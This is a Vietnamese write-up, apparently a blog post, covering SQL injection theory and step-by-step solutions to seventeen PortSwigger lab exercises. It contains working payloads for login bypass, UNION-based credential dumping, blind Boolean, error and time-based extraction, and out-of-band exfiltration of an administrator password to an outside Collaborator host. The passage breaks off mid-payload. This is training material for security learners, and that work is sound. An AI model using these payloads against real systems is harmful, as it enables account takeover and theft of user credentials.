@iamproz2911 Bài viết gồm 2 phần là: +Lý thuyết +Khai thác các bài Lab của Postswiger về lỗ hổng này.** ### **1. Lý thuyết** SQL Injection (SQLi) xảy ra khi ứng dụng web không kiểm soát đầu vào từ người dùng một cách an toàn, cho phép kẻ tấn công chèn mã SQL độc hại vào các truy vấn cơ sở dữ liệu. Dưới đây là các dạng SQLi từ cơ bản tới nâng cao: 1. In-Band SQL Injection Error-Based SQL Injection: Kẻ tấn công sử dụng thông báo lỗi từ cơ sở dữ liệu để lấy thông tin về cấu trúc của cơ sở dữ liệu. Union-Based SQL Injection: Kẻ tấn công sử dụng toán tử UNION để kết hợp kết quả từ nhiều câu truy vấn, từ đó truy xuất dữ liệu từ các bảng khác. 2. Inferential SQL Injection Boolean-Based Blind SQL Injection: Kẻ tấn công không nhận được dữ liệu trực tiếp mà dựa vào phản hồi đúng/sai từ ứng dụng để suy luận thông tin (ví dụ: câu trả lời có đúng hay không). Time-Based Blind SQL Injection: Kẻ tấn công sử dụng hàm thời gian để gây ra sự chậm trễ trong phản hồi, từ đó suy ra thông tin dựa trên thời gian phản hồi. 3. Out-of-Band SQL Injection Kẻ tấn công sử dụng các kênh khác để lấy thông tin, như gửi dữ liệu tới một máy chủ khác mà kẻ tấn công kiểm soát. Điều này thường chỉ xảy ra khi các phương pháp khác không khả thi. 4. Second-Order SQL Injection Dữ liệu độc hại được lưu trữ trong cơ sở dữ liệu và chỉ kích hoạt khi một yêu cầu khác được thực hiện, dẫn đến tấn công sau này. 5. Stored SQL Injection Dữ liệu độc hại được lưu trữ trong cơ sở dữ liệu và có thể được truy cập qua nhiều phiên làm việc của người dùng khác. 6. Dynamic SQL Injection Sử dụng các câu lệnh SQL được xây dựng động (dynamic SQL), nơi kẻ tấn công có thể thay đổi cấu trúc của câu lệnh SQL trong quá trình thực thi. 7. NoSQL Injection Tấn công vào các cơ sở dữ liệu NoSQL, sử dụng các kỹ thuật tương tự nhưng phù hợp với các truy vấn NoSQL. ### **2. Lab SQL injection in Postswigger** #### **Lab1**: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data ##### Mô tả: This lab contains a SQL injection vulnerability in the product category filter. When the user selects a category, the application carries out a SQL query like the following: ``` SELECT * FROM products WHERE category = 'Gifts' AND released = 1 ``` To solve the lab, perform a SQL injection attack that causes the application to display one or more unreleased products. ##### Exploit: B1: Truy cập trang web và quan sát request ![image](https://hackmd.io/_uploads/SJ5eqkMp0.png) Lab thông báo lỗi SQLi tại danh mục sản phẩm ![image](https://hackmd.io/_uploads/SkOf9yzp0.png) B2: Nhận biết lỗ hổng SQLi Chèn đấu '' or "" để quan sát lỗi trả về ![image](https://hackmd.io/_uploads/SkI_9JfpA.png) => website bị SQLi Website sử dụng query như sau ``` SELECT * FROM products WHERE category = 'Gifts' AND released = 1 ``` Vậy để khiến ứng dụng hiển thị một hoặc nhiều sản phẩm chưa được phát hành. Sử dụng payload `'+OR+1=1--` đây là điều kiện luôn đúng. Query sau khi modify trở thành ``` SELECT * FROM products WHERE category = 'Accessories' or '1'='1' -- AND released = 1 ``` Phần sau dấu "--" biến phần sau của query: AND released = 1 trở thành phần comment. B3: Gửi request và hoàn thành lab ![image](https://hackmd.io/_uploads/B1-YjyM6R.png) #### **Lab2**: SQL injection vulnerability allowing login bypass ##### Mô tả: This lab contains a SQL injection vulnerability in the login function. To solve the lab, perform a SQL injection attack that logs in to the application as the administrator user. ##### Exploit: B1: Truy cập website để kiểm tra ![image](https://hackmd.io/_uploads/HJ7ynJGaC.png) Truy cập my account để đăng nhập thông tin Lab yêu cầu đăng nhập với tài khoản adminitrator và bypass để vượt qua, vậy Query SQL ở chỗ này có dạng: ``` SELECT * FROM users WHERE username = 'username' AND password = 'pass'; ``` B2:Kiểm tra lỗ hổng: Đăng nhập với tài khoản adminitrator và chèn thêm payload '' hoặc " " để kiểm tra rõ hơn ![image](https://hackmd.io/_uploads/HkK5hyGpA.png) Web báo lỗi: ![image](https://hackmd.io/_uploads/HyUo3Jf60.png) Vậy dính SQLi Dùng payload sau để khai thác ``` administrator'-- ``` Lúc này câu truy vấn biến thành như sau: SELECT * FROM users WHERE username = 'administrator'; Bỏ qua phần password, đăng nhập thẳng vào web với tài khoản adminitrator B3: Gửi request có chứa payload Dùng Intruder của Burp Bắt request lại rồi sau đó modify lại username ![image](https://hackmd.io/_uploads/ryKNp1Ga0.png) Payload gửi đi và hoàn thành bài lab ![image](https://hackmd.io/_uploads/S1kLayzpC.png) #### **Lab3**: SQL injection attack, querying the database type and version on Oracle ##### Mô tả: This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query. To solve the lab, display the database version string. ##### Exploit: B1: Truy cập website để quan sát ![image](https://hackmd.io/_uploads/SJ-1Ryzp0.png) Theo đề bài thì web sử dụng Oracle để làm database và chỉ cần đọc được version in ra màn hình thì sẽ hoàn thành lab Đọc tài liệu [cheatsheet](https://portswigger.net/web-security/sql-injection/cheat-sheet) ta sẽ thấy payload ở đây `SELECT version FROM v$instance` Website có lỗi SQLi ở chức năng danh mục ![image](https://hackmd.io/_uploads/ry_B1eMpC.png) B2: Xác định số cột trả về Sử dụng union sql hoặc order by để đoán số cột Payload: `' UNION SELECT null, null -- - ` ![image](https://hackmd.io/_uploads/ByLcglGp0.png) => đều trả về lỗi. Đọc tài liệu về oracle thì Select dùng được khi xác định rõ nó lấy bảng nào hợp lệ với from Theo tài liệu của Burp có một bảng tích hợp sẵn trên Oracle có tên là dual có thể sử dụng cho mục đích này. Vậy payload sẽ là: `'+UNION+SELECT+'A','B'+FROM+dual--` ![image](https://hackmd.io/_uploads/rkRB-xMpA.png) Như vậy web trả về 2 cột A và B mà ta truyền vào B3: Gửi payload lấy thông tin version Oracle và hoàn thành lab ``` SELECT banner FROM v$version SELECT version FROM v$instance ``` ![image](https://hackmd.io/_uploads/rJanZgMa0.png) Website đã hiện ra các version của oracle Hoàn thành lab ![image](https://hackmd.io/_uploads/S1ykzgzT0.png) #### **Lab4**: SQL injection attack, querying the database type and version on MySQL and Microsoft ##### Mô tả: This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query. To solve the lab, display the database version string. ##### Exploit: Tương tự bài lab3 B1: Truy cập website và quan sát ![image](https://hackmd.io/_uploads/HkojMeM6A.png) Chức năng lọc danh mục bị lỗi SQLi ![image](https://hackmd.io/_uploads/ByyCMefTC.png) B2: Đọc tài liệu và viết payload ``` SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE ``` Payload tìm được, ở cheatsheet. Đầu tiền xác định được số cột của database ![image](https://hackmd.io/_uploads/ryko7xz6A.png) ![image](https://hackmd.io/_uploads/H1sPmxGa0.png) Quan sát thấy 2 cột trả về 200, 3 cột thì trả về 500 vậy database sử dụng 2 cột. In ra 2 giá trị đại diện cho 2 cột để test `'+UNION+SELECT+'abc','def'-- -` > Nếu truy vấn gốc có điều kiện kiểm tra cho một số giá trị cụ thể (như id=1), thay đổi giá trị id thành một giá trị không tồn tại (như -) có thể bỏ qua kiểm tra đó và cho phép phép nối (UNION) hoạt động. Đổi thành Giftss chẳng hạn và kết quả in thành công. ![image](https://hackmd.io/_uploads/HyG1rxMT0.png) B3: Thay đổi Payload để lấy version và hoàn thành lab ``` Giftss'+UNION+SELECT+'abc',version()+--+- ``` ![image](https://hackmd.io/_uploads/BJxEBgGTR.png) #### **Lab5**: SQL injection attack, listing the database contents on non-Oracle databases ##### Mô tả: This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables. The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users. To solve the lab, log in as the administrator user. ##### Exploit: Lab cho biết là web không dùng database Oracle và hãy liệt kê nội dung database ra B1: Truy cập website và quan sát Burp ![image](https://hackmd.io/_uploads/BkS3BlMpR.png) Web vẫn sẽ bị SQLi ở chức năng danh mục sản phẩm ![image](https://hackmd.io/_uploads/HJoLLeGaA.png) B2: Xác định cột của database Dùng Union và biết được web có 2 cột. Sử dụng table.name lấy tên table_name từ information_schema.tables In ra bằng payload: ``` '+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables-- ``` ![image](https://hackmd.io/_uploads/ryQyDlfa0.png) Tìm tên bảng user: users_subkhw ![image](https://hackmd.io/_uploads/SylxvDgG6R.png) B3: Viết payload lấy thông tin chi tiết các cột trong bảng users_subkhw: Sử dụng column_name. ``` '+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_subkhw'-- ``` ![image](https://hackmd.io/_uploads/HJWNdgza0.png) Lấy ra thông tin của 2 cột username và password cho tất cả tài khoản ``` '+UNION+SELECT+username_abcdef,+password_abcdef+FROM+users_abcdef-- ``` ![image](https://hackmd.io/_uploads/HkRc_lGpC.png) Đã có tài khoản của administrator B4: Đăng nhập và hoàn thành bài lab ![image](https://hackmd.io/_uploads/BJEbtxGaA.png) #### **Lab6**: SQL injection attack, listing the database contents on Oracle ##### Mô tả: This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables. The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users. To solve the lab, log in as the administrator user. ##### Exploit: B1: Truy cập trang web và quan sát burpsuite ![image](https://hackmd.io/_uploads/BJpUixzaA.png) Lỗi vẫn tiếp tục ở phần lọc danh mục sản phẩm Bài này dùng oracle để làm database tương tự lab 3 tiếp tục lấy thông tin từ bảng dual B2: Xác định số cột và liệt kê thông tin của các cột Như các bài khác số cột vẫn là 2 Sử dụng payoad để in ra thử `'+UNION+SELECT+'abc','def'+FROM+dual--` ![image](https://hackmd.io/_uploads/r1ckneM6A.png) ``` '+UNION+SELECT+table_name,NULL+FROM+all_tables-- ``` ![image](https://hackmd.io/_uploads/ry2V2lz60.png) ![image](https://hackmd.io/_uploads/ryB8nlG60.png) B3: Lấy thông tin của database Sử dụng payload lấy thông tin chi tiết về các cột trong bảng: `'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_WPJIMB'--` ![image](https://hackmd.io/_uploads/H1vK2xMpC.png) Sử dụng payload để truy xuất tên người dùng và mật khẩu cho tất cả người dùng: ``` '+UNION+SELECT+USERNAME_ABCDEF,+PASSWORD_ABCDEF+FROM+USERS_ABCDEF-- ``` ![image](https://hackmd.io/_uploads/H1su6xM60.png) B4: Đăng nhập tài khoản của administrator để hoàn thành lab ![image](https://hackmd.io/_uploads/BJk7AgzaR.png) #### **Lab7**: SQL injection UNION attack, determining the number of columns returned by the query ##### Mô tả: This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. The first step of such an attack is to determine the number of columns that are being returned by the query. You will then use this technique in subsequent labs to construct the full attack. To solve the lab, determine the number of columns returned by the query by performing a SQL injection UNION attack that returns an additional row containing null values. ##### Exploit: B1: Truy cập trang web và quan sát burpsuite ![image](https://hackmd.io/_uploads/SJKmyWzp0.png) Lỗi ở phần lọc danh mục sản phẩm Đề yêu cầu xác định số cột B2: Xác định số cột và hoàn thành lab Sử dụng OrderBy hoặc Union đều được tuy nhiên lab yêu cầu dùng Union Payload: `'+UNION+SELECT+NULL,NULL--` Dùng orderby biết được 2 cột ![image](https://hackmd.io/_uploads/HkLoyWMpR.png) B3: Hoàn thành lab ![image](https://hackmd.io/_uploads/ryaog-f60.png) #### **Lab8**: SQL injection UNION attack, finding a column containing text ##### Mô tả: This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you first need to determine the number of columns returned by the query. You can do this using a technique you learned in a previous lab. The next step is to identify a column that is compatible with string data. The lab will provide a random value that you need to make appear within the query results. To solve the lab, perform a SQL injection UNION attack that returns an additional row containing the value provided. This technique helps you determine which columns are compatible with string data. ##### Exploit: B1: Truy cập trang web và quan sát burpsuite ![image](https://hackmd.io/_uploads/rJdIZZfpA.png) Lỗi SQli ở phần danh mục sản phẩm Web yêu cầu sử dụng Union SQL để tìm cột chứa text B2: Xác định cột `'+UNION+SELECT+NULL,NULL,NULL--` ![image](https://hackmd.io/_uploads/ryaEGZM6A.png) Sử dụng payload và website có 3 cột Thay đổi giá trị null random theo từng ô bằng giá trị ngẫu nhiên `'+UNION+SELECT+'A',NULL,NULL--` Thay đổi vị trí nếu xảy ra lỗi ![image](https://hackmd.io/_uploads/BJj2MWfp0.png) B3: Hoàn thành lab In ra giá trị web yêu cầu `'+UNION+SELECT+NULL,'GrtRAc',NULL--` ![image](https://hackmd.io/_uploads/ryk0fWM6A.png) ![image](https://hackmd.io/_uploads/By1eQ-Gp0.png) #### **Lab9**: SQL injection UNION attack, retrieving data from other tables ##### Mô tả: This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you need to combine some of the techniques you learned in previous labs. The database contains a different table called users, with columns called username and password. To solve the lab, perform a SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the administrator user. ##### Exploit: Lấy thông tin username password từ bảng users B1: Truy cập web và quan sát burpsuite ![image](https://hackmd.io/_uploads/rJ8pXbfp0.png) Lỗi SQLi ở chức năng lọc danh sách sản phẩm B2: Xác định số cột ![image](https://hackmd.io/_uploads/BJcyEZGTR.png) Website có 2 cột In ra thông tin 2 cột username và password của bảng user `'+UNION+SELECT+username,+password+FROM+users--` ![image](https://hackmd.io/_uploads/ByRGVbf6R.png) B3: Hoàn thành lab Đăng nhập vào tài khoản administrator vừa lấy được ![image](https://hackmd.io/_uploads/ryLU4WfTA.png) #### **Lab10**: SQL injection UNION attack, retrieving multiple values in a single column ##### Mô tả: This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables. The database contains a different table called users, with columns called username and password. To solve the lab, perform a SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the administrator user. ##### Exploit: Tương tự bài trên B1: Truy cập web và quan sát burpsuite ![image](https://hackmd.io/_uploads/ry_LHbzTC.png) Lỗi SQLi ở chức năng lọc danh sách sản phẩm B2: Xác định số cột ![image](https://hackmd.io/_uploads/ByjyUbfTA.png) Vẫn có 2 cột như mọi khi Xác định cột trả về loại nào ``` '+UNION+SELECT+'A',NULL-- ``` ![image](https://hackmd.io/_uploads/SkLVLbzaC.png) Như vậy cột đầu không có kiểu string, thử cột thứ 2 ``` '+UNION+SELECT+NULL,'A'-- ``` ![image](https://hackmd.io/_uploads/rk3lwZfT0.png) Như vậy là chỉ có 1 cột để in ra một lúc cả username+password. Vì cả 2 cột này đều kiểu string B3: Lấy thông tin từ bảng users Sử dụng payload `'+UNION+SELECT+NULL,username||'~'||password+FROM+users--` Sử dụng || || kết hợp kết quả từ bảng users, chọn thông tin đăng nhập (username và password) và ngăn cách nhau bằng dấu '~' từ cơ sở dữ liệu. ![image](https://hackmd.io/_uploads/HJjnwZza0.png) B3: Sử dụng tài khoản Administrator để đăng nhập và hoàn thành ![image](https://hackmd.io/_uploads/HJd4_WGa0.png) #### **Lab11**: Blind SQL injection with conditional responses ##### Mô tả: This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned, and no error messages are displayed. But the application includes a "Welcome back" message in the page if the query returns any rows. The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user. To solve the lab, log in as the administrator user. ##### Exploit: B1: Truy cập website và quan sát request Xem qua các chức năng và thử các payload thì không cho thấy lỗ hổng SQLi ![image](https://hackmd.io/_uploads/rJh-F0ST0.png) ![image](https://hackmd.io/_uploads/BJ5dt0Sa0.png) Website có thông số theo dõi cookie ![image](https://hackmd.io/_uploads/BJmUtRSaC.png) Sử dụng payload làm trackingid sai => không có dòng chữ "welcomeback" => Có thể khai thác SQli ở đây nhờ Boolean-based. ![image](https://hackmd.io/_uploads/Sk6l90BT0.png) Dùng payload 1=2 để thử. B2: Xây dựng payload đoán số lượng chữ của mật khẩu Vì lab đã cho sẵn bảng user có 2 cột username và password nên ta chỉ cần đoán mật khẩu của administrator. Payload ` ' AND (select length(password) from users where username='administrator')=$1$ --` Hoặc có thể dùng AND . Sử dụng intruder để brute force ![image](https://hackmd.io/_uploads/HJsWsRS6C.png) $1$ ta sẽ để vào đó wordlist(1->30) ![image](https://hackmd.io/_uploads/SkZDj0ra0.png) Chỉnh Grep-Match =welcomeback để dễ nhìn kết quả ![image](https://hackmd.io/_uploads/SyCto0rTC.png) => Kết quả cho thấy tại vị trí 20 hiển thị welcome back => có 20 kí tự ![image](https://hackmd.io/_uploads/Hk3RC0SaC.png) B3: Tìm mật khẩu Đã biết được mật khẩu có 20 kí tự bước tiếp theo tìm kí tự của mật khẩu. Payload: `' AND (SELECT SUBSTRING(password,§1§,1) FROM users WHERE username='administrator')='§a§' --` => Đoán 1 chữ cái đầu tiên của cột đầu có phải = a không, nếu đúng trả về welcomeback ,nếu sai thì không có gì. Sử dụng Cluster bomb để bruteforcer, liên tục hoán đổi vị trí 2 payload ![image](https://hackmd.io/_uploads/r1T6k1UaA.png) Tiếp theo payload đầu tiên = number, payload thứ 2 simplelist a->z,A->Z,0-10 (Như lab đã cho trước). ![image](https://hackmd.io/_uploads/Hy8fekUp0.png) ![image](https://hackmd.io/_uploads/SJ0PekUT0.png) => Lắp các kí tự lại là có mật khẩu của administrator(Nhớ đúng kí tự) B4: Đăng nhập và Hoàn thành lab ![image](https://hackmd.io/_uploads/SJBWMkUaC.png) #### **Lab12**: Blind SQL injection with conditional errors ##### Mô tả: This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows. If the SQL query causes an error, then the application returns a custom error message. The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user. To solve the lab, log in as the administrator user. ##### Exploit: B1: Truy cập trang web và kiểm tra SQLi ![image](https://hackmd.io/_uploads/BJiP0Vw6R.png) Kiểm tra request và chèn payload thì nhận thấy TrackingID bị lỗi ![image](https://hackmd.io/_uploads/BkNKANPpR.png) Nhưng chèn 2 dấu '' thì lại không ![image](https://hackmd.io/_uploads/r1k3ANvpC.png) Kiểm tra payload logic 1=1 ![image](https://hackmd.io/_uploads/HyW1JrvaR.png) =>Lỗi SQLi tại tham số trackingID Xác định thêm số cột bằng Order by `' ORDER BY 2 -- ` ![image](https://hackmd.io/_uploads/HJNBJHvpR.png) Chỉ có 1 cột. B2: Xây dựng payload với Oracle Database UnionSelect ở Oracle phải cần select từ 1 bảng tồn lại. Đó là Dual. ``` ' UNION SELECT null from dual -- ``` ![image](https://hackmd.io/_uploads/Ska9krwTR.png) Xác định database sử dụng kiểu dữ liệu nào ![image](https://hackmd.io/_uploads/ry2Tkrv60.png) ![image](https://hackmd.io/_uploads/SJC0kBD6R.png) =>Kiểu chuỗi. B3: Sử dụng Error-based Xây dựng payload errorbase với điều kiện như là phần trong ngoặc () ``` ' UNION SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual ``` Ở payload trên, nếu điều kiện đúng thì thực thi 1/0(điều này sinh ra lỗi) TO_CHAR trả về kiểu chuỗi theo CheatsheetOracle B4: Error-Based lấy số kí tự của mật khẩu Lab đã cho sẵn table và các trường trong đó ``` ' UNION SELECT CASE WHEN (LENGTH(password)=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator -- ' ``` ![image](https://hackmd.io/_uploads/r1CTWSwT0.png) Khi password có length = 20 thì trả về lỗi => password có 20 kí tự. B5: ErrorBase tìm ra mật khẩu Payload để bruteforcer là: ``` ' UNION SELECT CASE WHEN (SUBSTR(password,§1§,1)='§a§') THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' -- ``` Đổi vị trí của mật khẩu, lấy 1 kí tự, và đổi kí tự mật khẩu 2Payload : 1 cái number cho vị trí(1->20),1 cái simplelist cho giá trị kí tự(a->z)(A->Z)(0-9). ![image](https://hackmd.io/_uploads/HyvhGBvTA.png) ![image](https://hackmd.io/_uploads/H1awXHwpC.png) B6: Đăng nhập vào tài khoản để hoàn thành lab Lọc kết quả mật khẩu và đăng nhập (Chú ý thứ tự) ![image](https://hackmd.io/_uploads/S1RlEHPpR.png) #### **Lab13**: Visible error-based SQL injection ##### Mô tả: This lab contains a SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned. The database contains a different table called users, with columns called username and password. To solve the lab, find a way to leak the password for the administrator user, then log in to their account. ##### Exploit: B1: Truy cập website và tìm lỗ hổng ![image](https://hackmd.io/_uploads/H1HdVHvTR.png) Sử dụng payload để tìm lỗi ![image](https://hackmd.io/_uploads/Hyy9VHwTA.png) =>Lỗi SQLi từ tham số trackingID ![image](https://hackmd.io/_uploads/S1c3VSvaA.png) B2: Xây dựng payload Sử dụng CAST(): ``` ' AND CAST((SELECT 1) AS int)-- ``` CAST((SELECT 1) AS int): SELECT 1: Truy vấn này sẽ trả về giá trị 1. CAST(... AS int): Chuyển đổi giá trị trả về thành kiểu số nguyên (int) ![image](https://hackmd.io/_uploads/SJlTSHvaR.png) => Lỗi vì điều kiện AND phải là biểu thức boolean Thêm dấu bằng vào và gửi lại ``` ' AND 1=CAST((SELECT 1) AS int)-- ``` ![image](https://hackmd.io/_uploads/BkzyUBwTA.png) B3: Sử dụng errobase để đoán mật khẩu Payload: `' AND 1=CAST((SELECT username FROM users) AS int)--` ![image](https://hackmd.io/_uploads/BJ4XUHDTA.png) Lỗi trả về vì lí do giới hạn kí tự Rút gọn payload lại bằng cách bỏ luôn giá trị trackingID ![image](https://hackmd.io/_uploads/By72UBwpC.png) Lỗi vì trả về quá nhiều hàng. Dùng Limit 1 để lấy 1 hàng ``` ' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)-- ``` ![image](https://hackmd.io/_uploads/HJq1DrDaC.png) Lỗi sinh ra username là administrator Bây giờ lấy thêm password là xong ``` ' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)-- ``` ![image](https://hackmd.io/_uploads/rJ0GvSDTC.png) B4: Đăng nhập và hoàn thành bài lab ![image](https://hackmd.io/_uploads/SkHBPBv6C.png) #### **Lab14**: Blind SQL injection with time delays ##### Mô tả: This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information. To solve the lab, exploit the SQL injection vulnerability to cause a 10 second delay. ##### Exploit: B1: Đăng nhập và quan sát request ![image](https://hackmd.io/_uploads/Syr2vBwTC.png) Gửi payload và không thấy gì xảy ra Lab yêu cầu dùng TimeDelay và dừng khoảng 10s Truy cập cheatsheet để tham khảo payload B2: Gửi payload và hoàn thành lab Thử từng payload và postgreSQL là đúng `'||pg_sleep(10)--` Hoặc `'; SELECT pg_sleep(10)-- ` ![image](https://hackmd.io/_uploads/BJevOBDTR.png) ![image](https://hackmd.io/_uploads/r1PDurPaA.png) #### **Lab15**: Blind SQL injection with time delays and information retrieval ##### Mô tả: This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information. The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user. To solve the lab, log in as the administrator user. ##### Exploit: Tương tự bài trên và kết hợp thêm điều kiện để đoán ra mật khẩu B1: Truy cập trang web và tìm lỗ hổng ![image](https://hackmd.io/_uploads/BkigKBw6R.png) Sử dụng payload `' ; SELECT pg_sleep(10)-- ` ![image](https://hackmd.io/_uploads/BkIXKrv6A.png) Dấu ; được sử dụng để kết thúc một câu lệnh SQL. Nếu không được mã hóa, nó có thể khiến cơ sở dữ liệu hiểu rằng là đang cố gắng kết thúc một câu lệnh và bắt đầu một câu lệnh mới Encode dấu ; -> %3b ![image](https://hackmd.io/_uploads/BJm3KBDaC.png) Sau 10s đã gửi về thành công B2: Xây dựng payload ``` '; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END-- ``` Thay đổi điều kiện bên trong dấu () nếu đúng thì đợi 10s nếu sai thì hiển thị ngay Lab đã cho biết bảng users có username và password `'; SELECT CASE WHEN (LENGTH(password)=1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='administrator'-- ` Đẩy vào intruder để tìm độ dài Tại vị trí 20 thì mất khoảng 10s mới hiển thị => độ dài mật khẩu bằng 20 kí tự. ![image](https://hackmd.io/_uploads/Bkfb2rD6C.png) B3: Tìm mật khẩu bằng timedelays Sử dụng payload sau và tương tự bài trên ``` '; SELECT CASE WHEN (SUBSTRING(password,§1§,1)='§a§') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='administrator'-- ``` Dùng 2 payload number và simplelist Chú ý: Việc sử dụng cluterbomb có vấn đề đó là nhiều request gửi xen lẫn và có những request chưa thực hiện xong thì đã có cái chen ngang => set chạy từng request một. ![image](https://hackmd.io/_uploads/rJ9r6BDa0.png) Sau đó starts intruder,Đợi khá lâu... Các request trả về sau 10s chính là kết quả ![image](https://hackmd.io/_uploads/HJLXl8DaA.png) B4: Đăng nhập và hoàn thành lab ![image](https://hackmd.io/_uploads/rkDExUw60.png) #### **Lab16**: Blind SQL injection with out-of-band interaction ##### Mô tả: This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The SQL query is executed asynchronously and has no effect on the application's response. However, you can trigger out-of-band interactions with an external domain. To solve the lab, exploit the SQL injection vulnerability to cause a DNS lookup to Burp Collaborator. **Note:** > To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use Burp Collaborator's default public server. ##### Exploit: Lab yêu cầu chỉ sử dụng BurpCollaborator's để exploit. B1: Truy cập trang web và tìm kiếm lỗ hổng ![image](https://hackmd.io/_uploads/SJo6LquaR.png) Gửi payload vào trackingID như bài trên thì không thấy trả về cái gì, có nghĩa không thể lấy kết quả trực tiếp từ phản hồi của ứng dụng. B2: Sử dụng phương pháp Out-of-band Sử dụng dạng Out-of-band SQLi để tương tác với external domain(Dùng BurpCollaborator) Lab đưa ra gợi ý sử dụng cheatsheet để làm ![image](https://hackmd.io/_uploads/SyAvP9dpA.png) Thử từng loại để đoán xem thử đang dùng loại database nào. B3: Gửi payload và hoàn thành lab Dùng burpcollab để tạo ra domain rồi thêm vào từng payload ``` x' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://v73xmmrk6qtcs6oyx96is3gsijocc1.oastify.com/"> %remote;]>'),'/l') FROM dual-- ``` EXTRACTVALUE(xmltype(...), '/l'): xmltype(...): Chuyển đổi nội dung XML thành loại dữ liệu XML trong Oracle. EXTRACTVALUE(...): Hàm này dùng để lấy giá trị từ một phần của tài liệu XML. `'<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://v73xmmrk6qtcs6oyx96is3gsijocc1.oastify.com/"> %remote;]>:` Đây là một đoạn XML chứa một định nghĩa cho DOCTYPE và một entity (thực thể) bên ngoài. %remote: Khi thực thể này được gọi, nó sẽ tải dữ liệu từ một URL bên ngoài (trong trường hợp này là địa chỉ http://v73xmmrk6qtcs6oyx96is3gsijocc1.oastify.com/). Gửi payload đầu tiên và bấm pollnow ở collab ![image](https://hackmd.io/_uploads/HJpSd9uaC.png) Như vậy, website này sử dụng Oracle và khi payload gửi đến đã bị OUTOFBAND SQLi. ![image](https://hackmd.io/_uploads/S1RtOqdaA.png) ![image](https://hackmd.io/_uploads/ry5cu5daR.png) #### **Lab17**: Blind SQL injection with out-of-band data exfiltration ##### Mô tả: This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The SQL query is executed asynchronously and has no effect on the application's response. However, you can trigger out-of-band interactions with an external domain. The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user. To solve the lab, log in as the administrator user. ##### Exploit: Như bài trên nhưng lần này lab yêu cầu lấy được password của administrator thông qua các DNS lookup. B1: Truy cập website và xác định lỗ hổng Lỗi vẫn ở TrackingID ![image](https://hackmd.io/_uploads/r1Ltt5d6C.png) Tương tự bài trên dùng lại payload ``` '+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//v73aj1jy4gkx2mldahxnldn4fvlm9b.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual-- ``` Lần này kết hợp với truy vấn SQLi + Domain của BurpCollab ``` "http://'||(SELECT password from users where username='administrator')||'.5iosufp0ncros98jwp3z76k31u7kv9.oastify.com/" ``` B2: Xây dựng payload hoàn chỉnh và gửi đi Kết hợp 2 cái ở trên ta có payload là ``` 